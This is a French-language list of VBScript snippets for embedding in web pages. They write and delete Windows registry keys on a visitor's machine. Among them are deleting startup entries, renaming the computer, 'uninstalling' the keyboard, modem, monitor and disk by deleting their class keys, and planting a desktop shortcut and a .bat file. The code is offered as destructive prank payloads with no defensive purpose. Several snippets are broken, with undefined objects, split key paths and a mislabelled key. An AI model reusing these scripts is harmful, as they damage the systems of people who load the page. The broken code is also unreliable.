ECRIRE DANS LA BASE DE REGISTRE :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\toto\With\Name", "c'est une blague"
</script>

SUPPRIMER UNE CLE DE LA BASE DE REGISTRE:

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\hello\"
</script>

CREER UN RACCOURCI SUR LE BUREAU :

<script Language="VBScript">
if location.protocol = "file:" then
Set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set RealLink = WshShell.CreateShortcut("C:\WINDOWS\bureau\redline")
RealLink.TargetPath = "http://redline.citeweb.net"
RealLink.Save
end if
</script>

CREER UN FICHIER BAT :

<script Language="VBScript">
Set BatFile = FSO.CreateTextFile("c:\Windows\redline.bat", 2, False)
BatFile.WriteLine ""
BatFile.WriteLine "hello"
BatFile.Close
</script>

SUPPRIMER LES PROGRAMMES SE LANCANT AU DEMARRAGE :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete"HKEY_LOCAL_MACHINE\

SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
</script>

MODIFIER LE NOM DE L'ORDINATEUR :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\System

\CurrentControlSet\Control\ComputerName\"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet

\Control\ComputerName\ComputerName

\ComputerName","modifier comme vous le voulez"
</script>

SUPPRIMER LA FLECHE DES RACCOURCIS :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\IsShortcut"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile\IsShortcut"
</script>

SUPPRIMER LES PROGRAMMES SE LANCANT AU DEMARRAGE DE MS DOS :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
</script>

DESINSTALLER LE CLAVIER :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Keyboard\" </script>

DESINSTALLER LE MODEM :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Modem\"
</script>

DESINSTALLER L'ECRAN :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Monitor\"
</script>

DESINSTALLER LE DISQUE DUR :

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCMIA\"
</script>